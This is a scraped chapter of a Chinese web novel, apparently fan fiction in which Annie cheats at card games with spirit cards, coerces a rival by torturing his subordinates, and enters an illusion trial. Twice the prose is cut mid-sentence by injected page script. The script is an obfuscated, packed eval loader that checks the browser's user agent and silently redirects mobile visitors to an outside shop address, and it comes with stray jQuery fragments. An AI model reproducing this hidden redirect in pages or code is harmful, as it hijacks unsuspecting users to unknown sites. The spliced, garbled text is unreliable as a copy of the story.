安妮愣了一下,随即被卜拉克抓住手腕。一股阴冷的黑暗之力传来,一直汇聚到眼球上。安妮忽然感觉卜拉克手里的牌有了五官,每一张都凶神恶煞龇牙咧嘴。 她正疑惑着,就听到了鬼牌的声音。 沙哑粗糙,但又带着孩童般的顽劣:“这次换成什么点数?女王没有告诉我们,完了完了,没猜到她心思的话不会被打吧?” “救命啊!我不要被打啊!你们快想想办法!” 五十四张灵牌七嘴八舌,但都带着恐惧。 他们似乎意识不到自己的存在。 安妮试探性开口:“你们好,打扰?” 灵牌安静下来,看着安妮,沉默了两秒。 随后,为首的灵牌爆发出尖利的笑声:“哈哈哈哈兄弟们,你们听见了吗?她说‘你们好’!这个小屁孩儿在对我们问好!” “我不是小屁孩。” 安妮皱眉,但谨慎的性格和温柔的脾性让她没有立刻生气。 灵牌们似乎知道了面前人的性格,全都哈哈大笑起来。直到卜拉克的手将扑克牌收起,在桌子上敲了敲。 很简单的动作,灵牌们却瞬间静若寒蝉。 “放心,它们的实力,没有你的万分之一。” 卜拉克说完,直接将灵牌甩给安妮。 整副牌牢牢地黏在一起,就像一块小砖。安妮正想接过,忽然看见背面最上方的那张灵牌张开了血盆大口。 她悄悄将寒焰的力量灌注手指,拿过灵牌。 正如卜拉克所说,这灵牌没有一点攻击力,她的手指被咬着,却没有任何感觉。 “哈哈哈终于摆脱女王了!!我们自由了!你休想再控制我们!” 灵牌还在叫嚣,安妮思考片刻,指尖燃起寒焰。 寒焰乃是世间极寒极热的火焰,能够将灵魂焚烧得一干二净。即使指尖上的火苗只有豆大一点,灵牌还是瞬间安静了下来。 可惜,晚了。 安妮直接将寒焰甩到咬自己的灵牌上,尖叫声立刻响起,震耳欲聋。 “灵牌少一张,整副牌都会消失。” 卜拉克忽然道。 安妮的动作停下,吞噬了灵牌一个角的寒焰瞬间熄灭。紧接着,整副牌的光泽都降低了一点,而那张牌的角也长了出来。 “灵牌的能量是有限的,它们补充了缺漏的角,自身实力就要下降。” “哦……” 安妮似懂非懂地点头。 还是认真听讲的乖学生模样,灵牌却再也没有看轻她的意思。甚至原来吵吵嚷嚷的牌都闭紧了嘴巴,生怕成为下一个倒霉鬼。 虽然疗伤用的是整副牌的能量,但疼痛是只有被烧的牌感觉到的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296880|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“现在,你可以命令它们了。” 卜拉克说完,拿起安妮手里的牌做了个示范。 她把一张灵牌放在桌子上:“这是5。” 翻开,果然是“5”。 “这是7,这是9……这是红桃,这是黑桃……” 不管是详细的数字还是模糊的花纹,翻开的灵牌都能符合。 “这是红桃三,这是红桃三,这是红桃三……” 一排灵牌,翻看全都是一模一样的红桃三。 这作弊的场景让安妮目瞪口呆。 “阿修罗不会发现问题吗?” “要看它们的智商。” 卜拉克说完安妮就懂了:像是负三号那样的阿修罗就可能察觉出不对劲,但是别的阿修罗还没这个能耐。 只要不是把两张牌大大咧咧摆在他们面前就行了。 扑克牌尝试完,还有骰子。不过这一次,安妮还没有展示出寒焰,骰子就已经乖乖就范。 它可是目睹了自家牌兄的惨状。 寒焰确实好用,但我总不能直接在负三号面前展示,威胁灵骰就范……安妮摸着下巴,问道:“女王,可以告诉我,你是怎么收服这副牌和骰子的吗?” “哦?很简单啊。” 卜拉克说着,拿起一张灵牌,直接撕开。接着,拿出一颗骰子放桌上,一掌下去。 灵牌和骰子再恢复,光芒又暗淡了一些。她看在眼里,指尖浮出些黑暗之力,输送给它们。 不能玩死了,毕竟是主人给的东西。 “手段很实用,不过注意分寸,黑暗领域二层的东西都很宝贵,伤了碰了,我也不知道会发生什么。” “好,谢谢。” 安妮点头。 “学完了?那就回去了吧。” 莫斯卡伸了个懒腰,继续带路。 安妮回到黑暗领域第二层的时候,负三号已经彻底融入同伴当中。 她也不着急,暗中尝试恐吓了灵骰几次,确定没问题,才开始寻找负三号。 好在她还记得负三号参加的是什么游戏,加上询问阿修罗的号数进行推理,很容易就能找到负三号。 看见负三号的时候,他已经杀红了眼,和那些阿修罗一样拍着桌子,扯着嗓子,兴奋得让人惶恐。 安妮将负三号拎出来,他立刻开始剧烈挣扎。可惜这点力气在安妮手中根本不够看,直接被提溜到了一旁的空地上。 “战果怎么样?” “你要做什么?” 自己走的时候把全部金币都给了负三号,现在当然要拿回来。不过想到莫斯卡的提醒,安妮并没有拿走所有金币。 数了数,给他留了二十枚,安妮微微一笑:“边缘的赌桌只有比大小,不好玩,咱们去远一点的牌桌怎么样?” 牌桌的规则普遍比骰子的赌桌复杂,但赌注也大。 “可以可以!” 安妮于是领着负三号前往远处的赌桌。 期间,负三号看着周围的场景,有一点逃跑的念头就被安妮拉回。他最后只能心无旁骛地赶路,期待早点到地方。 “就前面那个吧!” 安妮看着熟悉的二十一点,激动道。 熟悉的规则,但这一次参加的条件变成了二十枚金币,当然,这只是门槛,你也可以多加。 至少安妮就看见不少阿修罗多投入了很多金币,但她不知道为什么。 “咱们一局定胜负如何?你压上所有,我也一样。” “好。” 负三号将所有金币拍在桌子上,然后开始拿牌。 安妮也把金币堆好,然后捏紧灵牌,用卡牌挡住自己的动作。之后,她指尖燃起寒焰:“我要一个七,一个八。” 事实证明,寒焰就是灵魂的克星,之前那副灵牌已经告诉她最简单的办法,安妮当然不打算用别的方式。 果然,灵牌的牌面开始改变,变成了一张“7”一张“8”。 安妮在牌堆里又摸了一张,嘴里说着:“我猜这个一定是6吧。” 拿来一看,是6。 若放在其他种族上面,必定会察觉到不对劲,但这些黑暗阿修罗并不在意安妮说的话。他们眼里只有赌,也只有输赢。 而很明显,安妮赢了。 “不!” 负三号大喊一声,随后一闪,收缩成一张卡牌。 安妮眼疾手快,将那张牌拿到。 和自己观察到的一样,正面彩色,背面黑白,右下角写着数字。拿到卡牌的一瞬间,安妮似有所感,将卡牌再次掷出,心念一动,负三号出现。 他环顾四周,似乎有些迷茫自己的处境。看见安妮,他眼神微变,随后道:“主人,你要让我做什么?” 主人? 自己这样,就算是收服负三号了? 安妮想到负三号的牌,决定再尝试一下。她还有很多疑惑没有解开,但不能拿负三号做实验。 “你跟着我。” “好的。” 负三号说完,站到安妮身后。安妮确定他不会离开之后,朝着最近的牌桌走去。 还是二十一点,还是那副牌,还是同样的碾压式胜利。但赌桌上的阿修罗没有丝毫怀疑,还是给着金币,继续游戏。 又过了几轮,几个阿修罗的金币同时用完,听见熟悉的惨叫,安妮立马收起几张卡牌。 一共四张。 这次的号数很小,负七万三千六百五十二,负七万三千六百五十三,负七万三千六百五十四,负七万三千六百五十五。 四张牌除了数字,正面的颜色也有差距,两张红的,两张蓝的。 安妮摸索着卡牌,正面光滑整洁,背面的数字上却有一点凸起的颗粒。就像在手指上捻摩沙子,质感很明显。 直觉告诉她,这些凸起是可以扣掉的,但现在的自己弄不掉。 甚至,她尝试着撕扯鬼牌,也不行。 安妮的力气毋庸置疑,那么只有一种可能了:这是真的鬼牌。 不容破坏,也无法被破坏。 那么这样的鬼牌,一共有多少张呢?安妮拿着手里的四张牌,朝着更深处走去。 4. 4 不担心负三号叛逃,安妮这次铆足劲直接走到了尽头。 赌场的尽头是一面空气墙,高耸入天空,无法通过。安妮虽然可以顶着寒焰往里冲,但鬼牌一定也会被破坏。 因为阿修罗代表着无序,而鬼牌代表着秩序。 不用规则突破它,也不会得到它的认可。 确定了界限以后,安妮返回最近的一个牌桌。规则变了,但只要能够控制点数,就没有失败的可能。 她很快获胜,拿到了第二波战利品。 序号是负五千一百二十一、负六千三百七十五、负七千五百六十一和负七千五百六十二。 安妮有些错愕,她以为会是负九万左右的数字,没想到差了这么多。 但同时她也有了一个猜想:鬼牌可能有十万张。 之所以会这么想,原因很简单,那些阿修罗消失以后多半会再次投入赌博,而十万以后就是新的赌桌,从负一号开始…… 不对,负一号多半是第一个觉醒意识的,要从负四号乃至更小的开始。 总之,自己走了这么久,大概能估算出中间有多少阿修罗,结合序号计算,基本能够确定。 当然,要完全求证还需要往回跑,然后继续赌博拿牌,但安妮觉得没必要了。 十万左右,这个数字已经够恐怖了。 十万民兵也许不算什么,但他们是鬼牌,易携带、不用补给、武力高强,甚至受伤后可以直接自杀,刷新重来。 再加上一点:绝对的忠诚与听话。 很难想象,自己拿到鬼牌以后,会是怎样的强大。 之前安妮觉得这是最没用的神器,毕竟阿修罗面对天道毫无胜算,就是一条闪电链连锁的事,但现在,安妮已经彻底改观。 同时,也在心中升起了极度的渴望。 鬼牌,她势在必得。 “走,跟我回去。” 现在最重要的是找到鬼牌的规律,进行突破。 “等等……” 安妮正想带着负三号离开,忽然想到什么。 她停在墙边。 既然这些阿修罗会重新投入赌场,那么他们最初从何而来?负三号等等鬼牌只是被自己收掉了,才会以卡牌的形式存在于她身边。 可之前还有更多的阿修罗是消失了。 安妮在墙边等待,过了一会儿,忽然感觉光滑的空气墙传来波动。 紧接着,墙面浮现出水波一样的纹路,一张赌桌被吐出来,紧接着是十几个阿修罗。他们围坐在桌子上,很快开始了新的赌局。 安妮发现,这一次赌桌上的是骰子,阿修罗们的赌注也不多。每个阿修罗的口袋里有多少金币,安妮不得而知。 过了一会儿,远处的空气墙传来一样的波动,紧接着又是一张赌桌和几个阿修罗出现。 就像是流水线上的生产,每次都是一张赌桌和十个阿修罗。 整个世界,好像都是慢慢朝前推进着的。 看着源源不断生成的阿修罗,安妮猜想:难道自己要把所有阿修罗都赢一遍,才能获得所有鬼牌吗? 但很快她就否定了自己:这肯定是最笨,也最无效的方法。 那么,应该怎么做? 安妮忽然想到了维迦。 从进入黑暗领域的第二层开始,她其实就在寻找维迦。一开始,还没有想好怎么面对他,而现在,思考的已经变成了如何找到他。 维迦进入了黑暗领域,也一定和鬼牌有关,那么他最可能在哪? 安妮看着空气墙,感觉自己好像接触到了答案。 但是进不去…… 安妮沉默了一会儿,把旁边负三号的手抓起来,往空气墙里伸去。 穿透了! 果然,阿修罗出来的地方,也能再进去。 安妮正想让负三号传话,忽然意识到一个问题:维迦如果在里面,应该知道她进不去,那为什么不出来接她呢? 还有,负三号应该怎么传话?如今的他应该刚刚觉醒了自由意识,脑瓜子还没有彻底灵光,自己如何让他转达自己的意思? 找到方法了,但必须从长计议。 安妮再一次离开,前往寻找莫斯卡。 这一次,她尝试着将鬼牌带离,但走到一处结界的时候,鬼牌便消失了。 她退后一步,鬼牌再次出现,只是这次在地上。 带不走,安妮只能把赢来的牌暂时放好——万一还有用呢? 走出黑暗领域的第二层,已经有木偶人乖巧地等在出口,大概是卜拉克专门给她设置的。安妮于是朝着木偶道:“我要见莫斯卡,还要能够在黑暗领域存在的笔和纸。” 过了一会儿,莫斯卡出现了,手里拿着纸笔。 她看着安妮,叹气:“你还真是会给我们找难题。” “这是……” “当然是你说的,能够存在于黑暗领域第二层的纸,还有笔墨。这些东西可不便宜,我拿走的时候感觉卜拉克的木偶都肉疼了——如果它们有肉的话。” 木偶们没有,但卜拉克一定有,想来心疼的事她吧。 “谢谢,那个,需要我交换点金币吗?” 安妮其实存款不算少,毕竟基兰爷爷虽然走了,但留下的太多了。 “不用了,你快进去吧。对了,温馨提示一下,鬼牌也是牌,我们虽然不提倡暴力,但武力永远是有用的。” “好的,谢谢。” 这个道理,安妮在揍负三号的时候就知道了。 这次和莫斯卡的交流很短暂,安妮再回到黑暗领域第二层的时候,还没想好怎么和维迦联系,就发现自己的鬼牌不见了。 担心鬼牌放桌子上,赌桌会有什么变动,安妮就把所有鬼牌埋在了土里。土层并不厚,但这些阿修罗沉醉赌博,根本不会翻看。 再三确定,也确确实实是这个位置,甚至上面还有土壤松动的痕迹。 说明位置没有变动。 那就只有一个可能:有人把鬼牌偷了。 或者说,阿修罗。 除了负一号,安妮想不出更好的对象。负三号都还没有觉醒完全,负二号现在应该也不会太智能,只有负一号,有这个能力,也会有这个想法。 如今,想找到负一号是个难题,还是先和维迦取得联系再说吧。 安妮随便找了张赌桌,赢取了几张鬼牌,然后让他们带着自己的信件出发。 信的内容很简单,就是询问鬼牌的获得方法。并不需要问好这些虚假的东西,无论过去多久,他们都不会成为需要向对方虚与委蛇的人。 当然,这也可能只是自己的一厢情愿罢了。 安妮坐在空气墙边等待,难得的,安静下来。 那些阿修罗再次出来的时候,安妮第一眼就注意到了,因为它们没有配备赌桌。 迅速将信纸拿起,上面的内容果然变化了。 密密麻麻,全是有关于鬼牌的介绍。 鬼牌确实有十万张,不过分为红蓝两种,这些黑暗阿修罗都只是鬼牌的阴暗面,也就是一张牌背后的灵魂,可以称之为——魂牌。 它们嗜赌,就和真正的阿修罗嗜战一样。 鬼牌有十张管理牌和一张王牌,对应的,魂牌也有十张管理牌和一张王牌。管理牌是一到十号以及负一号到负十号,一张牌管理着对应的九千九百九十九张牌——也就是说管理牌其实有二十张,而王牌则只有一张。 想要得到鬼牌的认可,必须得到所有黑暗阿修罗的认可,也就是魂牌的认可。而它们的认可,又可以缩减为十张管理牌的认可。 因此,安妮的任务就是得到这十张管理牌,用它们打开黑暗领域第三层的大门。 赌约是魂牌无法拒绝的邀请,就像鬼牌无法拒绝战斗一样,而对赌成功就能暂时让魂牌为自己所用。因此想要收服魂牌,就要对赌。 负一号到负十号正在慢慢觉醒意识,时间拖得越长收服的难度越大,这大概也是魂牌的考验之一。 现在的负一号,甚至能偷走自己是鬼牌,可见其狡诈程度。 但好在,有目标了。知道怎么做,安妮就不怕做不了。 她首先根据自己拿到的魂牌推测位置,找到了负四号到负十号的位置,并且收服它们——这是一个非常流畅的过程。 毕竟,它们最多觉醒了简单的意识,距离“自由意识”还差许多。而只要没有自由意识,它们就不会跑太远。 现在,只差负一号、负二号和负三号了。 负三号现在极有可能在负一号手上,毕竟负一号再厉害,和负三号说白了也是同级别的长官,他不可能召唤出负三号给他做事。 这样也不好隐藏。 那么,就先去找他吧。找到了最聪明的,还担心其他的? 想寻找负一号不是那么容易的事,好在,负一号偷盗鬼牌的行为也算变相让她抓住了把柄。 那就是负一号的族群意识很强。 他看不得自己的同伴被掌控、奴役,不惜冒着被报复的代价偷窃鬼牌。那么,他一定也很爱护自己所管理的鬼牌们。 而负一号管理的,应该是负十一号到负一万零九号。 只要找到其中的号码,一定能逼负一号现身。 安妮首先收服了几张赌桌上剩下的所有牌,然后从负十一号到负一万零九号中挑出一张幸运儿。 负三十号。 她将负三十号召唤出来,这个阿修罗双目无神,站稳的瞬间便想投入牌桌。但是安妮抓住了他,接着凌空而起,将他狠狠摔在地上。 “啊!” 属于阿修罗的粗糙而尖利的声音响起,但没有在赌场内得到任何人的关注。 安妮眼中闪过一丝纠结,最后还是上前,将刚刚站起的负三十号踩到地里。 “啊啊啊!” 负三十号的惨叫让安妮想起了一个声音。 一个她早已遗忘的声音。 那个声音曾经在她耳边温柔地询问,阿修罗凶狠残暴,这是不是可以成为雷电魔尊吞噬他们灵魂的理由。 伤害、杀戮,都因为对方的坏变得理所当然。 甚至能够为所欲为。 安妮不知道从哪句开始,自己就不赞同了,但她知道曾经的自己一定不会喜欢现在的自己。 “住手!” 一个声音响起,拯救了负三十号,也拯救了安妮。 她悄无声息地松了口气,看向不远处的黑暗阿修罗。 负一号肉眼可见地抖了一下。 自己踩着负三十号的样子,一定很可怕吧。 安妮勾唇,干脆利落地解决掉了负三十号,卡牌回到自己手里,冰冷坚硬。 “你找我,想做什么?” “把负三号还给我,还有……臣服于我。” “凭什么?就凭你的武力吗?”负一号仇恨的视线毫不掩饰,“你可以杀了我,但我会在第三层重生,你别想得到我。” 第三层应该就是安妮进不去的地方,那是阿修罗的复活之地,安妮并不稀奇。 “我们来玩牌怎么样?”安妮岔开话题,“我赌上所有鬼牌和金币。” 她把自己东西尽数放在桌上。 “好啊,那我也赌上所有牌和金币。” 负一号将所有偷走的牌和金币放在桌上。 这是一张空空如也的桌子,因为上面的阿修罗都被安妮清空了,然而上面的赌注却比爆满的赌桌还多。 “就比大小吧,看点数。” 负一号拿起牌桌上的牌清洗,动作花里胡哨,但安妮不在意。 牌堆洗好,被放在桌子中心,安妮还没拿,负一号直接伸手,将其中一张抽出、拍开。 大王。 这么准? 安妮皱眉,知道这局最多平了。她拿起一张牌,没有立刻翻开。 威胁这些牌的手段,她已经炉火纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296881|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青,更何况这堆牌还是之前自己用过的。确保上面的图案变成小王,安妮才翻开。 “平局了,真是不好意思。” “再来。” 安妮并不纠缠,大不了再下局。 负一号没把双王装进去,洗好牌,再次在安妮之前翻开一张,干脆利落。 是点数视为“10”的红桃K,这里的比大小中,仅次于双王的牌。 这次,安妮彻底确定了,负一号绝对是有什么手段,能够知道牌的点数。一直这么比下去,最后只能是平局。 安妮翻开第一张,黑桃K。 “又是平局呢。” 负一号正想再洗牌,被安妮抢先一步。 “这次我来吧。” 负一号耸耸肩,似乎并不在意。安妮眼神微暗,悄悄和手里的令牌对话。 “将负一号拿的牌换成2点。” 说完,她将牌再次放在桌上。负一号的动作仍旧风驰电掣,抽出一张牌拍在桌上,毫不墨迹。 是小王。 安妮皱眉,看着面前的牌堆,陷入沉思。 很快,她就想通了其中关节。 负一号的速度太快了,灵牌根本来不及反应,他就已经找出需要的牌翻开。 但是自己能阻止吗?不能。你总不能要求他必须放慢速度,等着灵牌做手脚。 怎么办呢…… “快点啊,或者你要认输吗?” 负一号洋洋得意,但安妮只微微一笑。 她操纵灵牌,拿出了大王。 见状,负一号想要收回牌,再次开始。安妮却按住他的手:“等等。” “怎么,你要洗牌?请便。”负一号大方地收手。 无论是谁洗牌,结局都一样,安妮已经尝试过了。她指着两人的牌,说道:“我是想说,这一局,你输了。” “什么?” “我的是大王,你的是小王,你比我小。” “可是刚才我是大王啊!” “规矩变了,不行么?你没有指出来,但我指出来了,这是你的问题。” 安妮说完,操纵风力把赌注——所有金币和鬼牌推到自己身前。这是凤凰翎羽打造的神装所拥有的力量,轻柔,但强硬。 “你……好,算你赢了又如何!” 负一号表情有一瞬间的扭曲,但很快恢复。他躺回椅子,全身放松。 时间一分一秒地过去,他却没有变成鬼牌。安妮得意的表情僵在脸上,不明白哪里出了问题。 “你不会以为,金币,就代表黑暗阿修罗的生命吧?” 负一号咧嘴。 “我不妨给你解释一下,我们出生时携带着一百枚金币作为生命条的替代品,每次赌博下注多少生命,就投注多少金币,金币好像确实和血条挂钩。但可惜,我是个例外。” “不管下多少金币,我都只会投注百分之一的生命,而现在,我还有百分之八十左右的生命。咱们,还可以慢慢玩。” “你说大王比小王大?好吧,那四个花色谁最大?”负一号说完从牌堆里抽出四张牌,摊开。 清一色的K。 “黑桃、红桃、方片、梅花……” “只要我先抽,永远可以拿到想要的那张,而你,来不及。” 因为你需要拿到牌后经过灵牌的调整,再得到想要的点数。 “这么看来,好像之后我输定了啊……” 安妮轻声道。 “哈哈哈哈,那你不赌了吗?” “不赌了。” “什么?” 负一号的问题只是嘲讽,因为他知道安妮不可能轻易放弃,但她竟然真的不赌了? “既然注定了会输,那还有什么赌的必要?” 安妮说完站起身,看那架势好像真的不赌了。 安妮下桌,走到旁边的空地,甩出负三百零一号。这是负一号偷走的魂牌之一,也是负一号管理的魂牌之一。 下一刻,幽冥扇飞到手上,安妮甩出,将刚刚站稳的负三百零一号打飞出去。 这次的负三百零一号还没来得及掉在地上,就被另一把幽冥扇接住。但幽冥扇并不是真的“接”,而是整个扇骨撞到负三百零一号的背上,硬生生打断了他的脊椎。 “啊!救命!救命!” 负三百零一号的痛呼不绝于耳,幽冥扇的动作却没有结束。 只要安妮心动,幽冥扇便会跟着动。而两把扇子就像踢球一样,把负三百零一号丢在空中踢打折磨。 “你干什么?住手,住手啊!” 负一号目眦欲裂。 “这好像是你输给我的牌吧?我想怎么做关你什么事?” 如果说之前虐待负三十号有些生疏,此时的安妮已经熟练起来。大概是负一号太气人,她居然从凌虐中获得了一丝快感。 掌握不了你,欺负你的下属还不行吗? 莫斯卡说得对,鬼牌和魂牌都是牌,和灵牌没什么不同。恐吓、威胁、武力镇压,从不过时。 “啊!好痛!” 骨折的咔嚓声源源不断,负三百零一号却没有死亡。如果有生命条显示,那他头上的血应该是在缓慢下降的。 因为安妮只是打,并不打死。 “只知道赌博的牌也懂得什么是痛?” 安妮恶劣地笑了,虽然是故意装给负一号看的,但她感觉自己好像被分成了两半。 一半深刻地谴责着自己,内心深受折磨,另一半当真笑得恣意不羁,好像很满意如今的场景。 负一号被彻底唬住,他握拳,低下头。 “放了他,我和你赌。” 必输的那种赌。 但安妮没有回应,幽冥扇的招式依旧狠辣果断。 “我可以告诉你负二号在哪!” “成交。”安妮操纵幽冥扇,一刀割断了负三百零一号的脖子。他终于死亡,重新变回卡牌。 5. 5 拿着十张牌站在结界前,安妮恍若隔世。 她终于做到了,终于拿到了十张管理牌,也终于,明白了黑暗领域第二层的奥义。 赌博就和战斗一样,有输有赢。 这里看的虽然是智力,但武力,永不过时。 将十张牌全部插进空气墙,就像提交身份认证一样。空气墙吞噬了十张卡牌,下一秒,安妮感觉阻隔似乎消失了。 她往前走去,一直到,又一张赌桌。 这是一张长桌,上面空无一物。赌桌边环绕的漂浮蓝色萤火稍微照亮了周围,而对面,坐着一个长着恶魔双翅的女人。 一头紫黑色的长发,性感暴露的内衣,腰肢纤细,下方的短裙堪堪盖过大腿。最显眼的是她脸上的诡异符文,贯穿整个右眼,搭配上深紫的口红,看起来如同炼狱爬出的恶鬼。 偏偏这恶鬼又有着天使一样硕大蓬松的翅膀,除了颜色,和辛诺的如出一辙。 很难不让人联想到那个堕落的天使。 “自我介绍一下,我叫伊娃。” “伊娃?我们终于见面了。” 安妮不得不说一句“久仰大名”,因为无论是树爷爷,还是莫斯卡,乃至自己崇拜的弗斯,和伊娃都脱不了干系。 她的名字,响彻源大陆。 伊娃没死,安妮虽然惊讶,但没有什么震惊的感觉。祸害遗千年,大概就是这个道理。 “多的话就不说了,你想收服鬼牌,那我们来玩个游戏如何?” 又是游戏? 伊娃抬手,指缝里凭空出现八张牌。这八张牌的背面和之前的灵牌并无差别,但正面如何不得而知。 她把牌分为两列放在桌上,八张牌无风自动,平移到安妮面前。 “这里一共有八张牌,七张邪牌,一张鬼牌。哦对了,那张鬼牌你应该认识,它叫维迦。” “维迦?!” 维迦也是鬼牌? “维迦就是王牌,也是鬼牌核心。他是神器器灵,你却让他觉醒了本源,这和创造奇迹无异。” 器灵严格来说不算生命,没有生命自然就没有本源。 难怪当初,自己获得了奇迹之心。 “说起来我还要感谢你,你让鬼牌的实力大大增加了。——不说这些,我来讲讲游戏规则吧。 规则很简单,这里一共有八张牌,你每天都可以抽取一张。 如果抽到鬼牌,那么恭喜你,你得到了神器。 如果抽到了邪牌,也没关系,只要你能把抽到的邪牌毁灭掉,第二天它就不会再出现在牌堆。 也就是说,第一天你没抽到鬼牌抽到邪牌也没关系,消灭掉邪牌后,第二天就只有七张牌了。第三天六张,第四天五张,以此类推……” “那,我总有获得鬼牌的一天?” “可以这么说。” “没有时间限制?” “没有。” “没有其他要求?” “没有。” “这些邪牌……不会消除不了吧?” 而只要牌堆存在邪牌,她就无法得到鬼牌。 “亲爱的,不要恶意揣测我,我说的所有规则都在这里了。邪牌能不能消灭,你试一试不就知道了吗?这个赌局,对你来说不亏。” 伊娃的表情极尽真诚,但安妮早已不是当初那个轻易相信他人的傻子。 不过伊娃有一点没说错:试一试不就知道了。 “一天怎么计时?” “你总算问了个好问题!邪牌的右下角有倒计时,时间结束就代表着新的一天开始了,祝你好运!” 伊娃都说到这个份上了,安妮也无法拒绝。她看着八张牌,最后选择了第一排的第三张。 翻开,是一张刻着红色眼睛的牌。右下角的倒计时还有六个多小时到零,看来自己是抽到邪牌了。 八分之七的概率,安妮并不稀奇,也没觉得伊娃是故意安排的。 她甚至都做好了拿到邪牌的准备,只是这邪牌如何消除,才决定了她之后的战术。 “只要将意识集中,进入邪牌,得到牌主的认可,就能破坏掉邪牌。”伊娃的声音适时地响起,“放心,时间肯定来得及。” 安妮尝试着感知了一下,确认邪牌是将意识身体一起拉入,就像黑暗领域一样,放下心来。 她进入邪牌。 下一秒,掉在地上的邪牌被伊娃捡起,她和上面的红色眼睛对视一眼,勾唇:“一定要好好招待,我的第一位小朋友啊。” 安妮进入邪牌以后,来到了一个虚幻的白色空间。周围空无一物,甚至地板墙面都没有。 前方有一个悬浮的生物,安妮走近,发现这其实是一只大眼睛。 红色玻璃球一样的眼球,中间一点猩红的瞳孔,周围是一层一层三角锥形状的粗糙眼皮,最外层章鱼一样的两根触手延伸开来,支撑起整个怪异的身体。 虽然主体只有一颗眼珠,但站起来比她还高,最中间的眼球半径也足足一米。 怪物的全身都散发着暗红色的光芒,缝隙间透出的猩红更是刺眼。 复杂立体,却让安妮联想到那张邪牌的图案。 这就是伊娃所说的牌主吗? 红色眼睛正对着安妮,其中一根触手抬起,挥了挥。 “你好啊,小朋友,很高兴见到你。” 安妮没想到牌主这么随和,她还以为…… 但是自己的目标是消灭他,如果让他知道了的话,应该就不会像现在这样温柔了吧? “你叫什么名字?” “安妮,光明的意思。你呢,怎么称呼?” 安妮微笑,但悄悄聚拢寒焰的力量。她能感受到,幽冥寒焰在这里依旧无往不利,这也是她敢在陌生的环境和面前怪物交谈的底气。 怪物就好像没有看见安妮的动作,笑道:“我叫安格瑞,你可以叫我的名字。没猜错的话,你来到这里,是想得到我的认可吧?” “是。” “那就不要动刀动枪,我其实很好说话的。” 安格瑞说完,飘到安妮面前,做出邀请的动作:“我的考验就在前面,和我经历了一切,成功自然水到渠成。” 能不动武,安妮当然也不想动武。 她于是收回攻势,跟着安格瑞往前走。 安妮没想到,会再次看到族人们。 密密麻麻的帐篷,玩着游戏的小孩,忙着干活的大人,以及……在锅炉边熬着汤的凯德阿姨。 她正想回头询问,就发现安格瑞已经不见。 “安妮,快来尝尝这汤的温度如何。” 凯德阿姨招手,把安妮拉回……幻象。 安妮知道一切都是假的,但她还是上前,贪婪地呼吸着冬阳汤的味道。 那么醇厚、那么甜美,却又带着微微的苦涩,就像自己的回忆。 “哎呀,怎么哭了?是不是烫到了?没事没事,我给你吹吹。” 凯德阿姨吹着勺子上的汤,氤氲的热气把她的眼眸洗涤得更加澄澈,安妮看着面前真实的凯德,终于忍不住,转身离开。 她想一个人冷静冷静。 “别回来得太晚啊!” 凯德阿姨的声音被甩在身后,那么清晰又温暖。 安妮一直跑到曾经最喜欢待的树下面,在那里,她看到了一只毛茸茸的小熊。 棕色皮毛,纽扣眼、刀疤脸,还围着一条单薄的红围巾。看见安妮,他惊喜地起身,笨拙地差点绊倒自己。 “缇啵丝!” 但是不影响传出惊喜的声音。 一切都和记忆里一模一样,连身边的小径都陌生又熟悉。安妮握拳,走到树下,抱起提伯斯。 面前的小熊没有变成巨兽,景色也没有坍塌。 安格瑞的考验,到底是什么?对回忆的依赖吗? 安妮环顾四周,没有看见阿木木。再仰望天空……这应该是夏季了。 当初的自己在冰雪消融之际契约了提伯斯,之后很快就遇到了阿木木,如今,早过了春寒料峭的时候,可是只有提伯斯,没有阿木木。 基兰爷爷曾经说过,阿木木可能是世界之外的人,所以无法被世界之内完全模拟,这也是麦田中的阿木木虚假的根源。 而这个幻象,也不存在阿木木。 很正常。 唯一的疑惑就是,安格瑞到底想考什么。 坐在树下思考本就是安妮童年时最喜欢做的事,如今只不过顺水推舟。安妮在树下坐了很久很久,久到天空都变了颜色,才起身离开。 黄昏时分,自己回到了休息的地方。 “今晚想听什么故事呢?” 餐桌上,凯德阿姨吃完饭,一边收拾一边询问。 还是和过去一样,与族里的孩子们分开,只是这次身边没有了陪伴的人。安妮垂眸,试探性道:“我想听砍柴人和七个强盗的故事,凯德阿姨你可以给我讲讲吗?” 这个故事因为只有名字有趣,安妮其实已经不怎么记得了,但倘若说一遍自己肯定又能想起,属于“模糊的记忆”。 安妮这么问,只是想知道,这个幻象到底是根据什么形成的。 倘若是根据自己的记忆,为什么没有阿木木。 “当然可以啊,去洗漱吧。” 凯德阿姨摸摸安妮的脑袋。 “好,凯德阿姨再见。” 安妮朝自己的帐篷走去。 熟悉的小床,旁边放着桌柜,床下面没猜错的话,还有一个木盒子。没有屏风,床的位置也在中间,但其实很久之前,自己就跟阿木木一间房了。 那张床被搬到了帐篷左边,中间还有屏风挡着。 安妮洗了把脸,坐上床,凯德阿姨很快走进来,带着熟悉的微笑。 “今天怎么突然想听强盗的故事了?” 凯德问得随意,安妮却一愣。 是啊,过去的自己最不爱听这些糙汉的经历了,更不喜欢打打杀杀。而如果曾经自己真的主动提出要听这个故事,凯德阿姨一定也会这么问吧? “我……心血来潮。” “好吧。” 凯德耸耸肩,开始自己的讲述。 “从前,有一个男孩名叫霍尼斯。他有一个哥哥,两人一个娶了富商的女儿,一个娶了穷人的女儿。 